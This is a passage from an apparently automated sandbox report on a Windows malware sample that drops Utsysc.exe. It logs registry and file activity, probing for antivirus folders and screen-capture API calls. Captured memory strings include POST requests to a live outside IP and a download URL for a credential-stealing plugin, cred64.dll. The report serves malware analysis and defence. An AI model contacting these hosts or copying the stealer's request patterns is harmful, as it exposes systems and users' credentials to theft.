"HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "Utsysc.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "Utsysc.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "Utsysc.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "Utsysc.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "Utsysc.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "Utsysc.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "Utsysc.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "Utsysc.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "Utsysc.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER")30:Tc2c,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}\"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}\"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCSERVER32"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCSERVER32"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER32"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER32"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER"; Key: ""; Value: "")31:Tb71,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "DATA"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "GENERATION"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "DATA"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "GENERATION"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}\INPROCSERVER32"; Key: ""; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "MAXSXSHASHCOUNT"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}\LOCALSERVER32"; Key: "LOCALSERVER32"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}\LOCALSERVER32"; Key: ""; Value: "")32:T680,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\windows\fonts\staticcache.dat" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe:zone.identifier" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\music\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\searches\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "c:\users\%osuser%\contacts\desktop.ini"33:T60c,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\24CA467F398C64C1F70011FFC53598F2F09971998E08E2267F39F06776AFBB15.EXE.LOCAL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\WININET.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\SysWOW64\wininet.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.16299.248_none_8e66fbc1026df8ab\GdiPlus.dll"34:Tb1f,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\WININET.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\WTSAPI32.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\FLTLIB.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\DUI70.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\DUI70.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\DUSER.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\DUser.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\CHARTV.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\CHARTV.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\OLEACC.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\OLEACC.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\OLEACCRC.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\WINSTA.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\WINSTA.dll" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\4fdb51ccdc\UTSYSC.EXE" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\4fdb51ccdc\Utsysc.exe" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\CLDAPI.DLL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\CLDAPI.dll"35:T802,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\24CA467F398C64C1F70011FFC53598F2F09971998E08E2267F39F06776AFBB15.EXE.LOCAL" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\4FDB51CCDC" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\4fdb51ccdc" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe.Local\" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" trying to access non-existent file "C:\DESKTOP.INI" "Utsysc.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\4fdb51ccdc\UTSYSC.EXE.LOCAL" "Utsysc.exe" trying to access non-existent file "C:\Windows\SysWOW64\schtasks.exe:ZONE.IDENTIFIER" "Utsysc.exe" trying to access non-existent file "C:\Windows\System32\schtasks.exe:Zone.Identifier" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\AVAST SOFTWARE" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\AVAST Software" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\AVIRA" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\Avira" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\KASPERSKY LAB" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\Kaspersky Lab" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\ESET" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\PANDA SECURITY" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\Panda Security" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\DOCTOR WEB" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\Doctor Web" "Utsysc.exe" trying to access non-existent file "C:\ProgramData\AVG"36:T4ec,Found string "Content-Type: multipart/form-data; boundary=----NTA5MzE="; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03617000.00000004.mdmp") Found string "Content-Disposition: form-data; name="data"; filename="351455743570.jpg""; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found string "Content-Disposition: form-data; name="data"; filename="351455743570.jpg"; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp 00000000-00001140.00000002.135699.03580000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="data"; filename=""; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=----NTA4NjE="; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03617000.00000004.mdmp")37:T479,Heuristic match: ".r.my" Heuristic match: "h?t9.tp" Heuristic match: "+p.hu" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://185.172.128.5/v8sjh3hs8/plugins/cred64.dll" Pattern match: "http://185.172.128.5/v8sjh3hs8/index.php" Pattern match: "http://185.172.128.5/v8sjh3hs8/index.php?scr=1" Heuristic match: "~+.sh" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is"38:T9e2,Found string "POST /v8sjh3hs8/index.php?scr=1 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03617000.00000004.mdmp") Found string "Content-Length51083POST /v8sjh3hs8/index.php?scr=1 HTTP/1.1<" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp") Found string "POST /v8sjh3hs8/index.php HTTP/1.13`a" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp") Found string "Content-Length4POST /v8sjh3hs8/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found string "GET /v8sjh3hs8/Plugins/cred64.dll HTTP/1.1t6c" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp") Found string "Host185.172.128.5GET /v8sjh3hs8/Plugins/cred64.dll HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found string "Content-Length176POST /v8sjh3hs8/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp") Found string "GET /v8sjh3hs8/Plugins/cred64.dll HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03617000.00000004.mdmp") Found string "Host185.172.128.5GET /v8sjh3hs8/Plugins/cred64.dll HTTP/1.1/v8sjh3hs8/Plugins/cred64.dll" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03617000.00000004.mdmp") Found string "POST /v8sjh3hs8/index.php?scr=1 HTTP/1.1B^d" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp") Found string "Content-Length51013POST /v8sjh3hs8/index.php?scr=1 HTTP/1.1d" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000001.133780.03580000.00000004.mdmp") Found string "GET /v8sjh3hs8/Plugins/cred64.dll HTTP/1.1D" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found string "POST /v8sjh3hs8/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001140.00000002.135699.03580000.00000004.mdmp")39:T45e,Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001140.00000000.131861.05FC0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00001140.00000000.131861.05FC0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00001140.00000000.131861.05FC0000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001140.00000000.131861.05FC0000.00000002.mdmp") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00001140.00000001.133780.06010000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00001140.00000001.133780.06010000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001140.00000001.133780.06010000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001140.00000001.133780.06010000.00000002.mdmp")3a:T994,Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp")3b:Tb81,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\4FDB51CCDC\UTSYSC.EXE"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "Utsysc.exe" 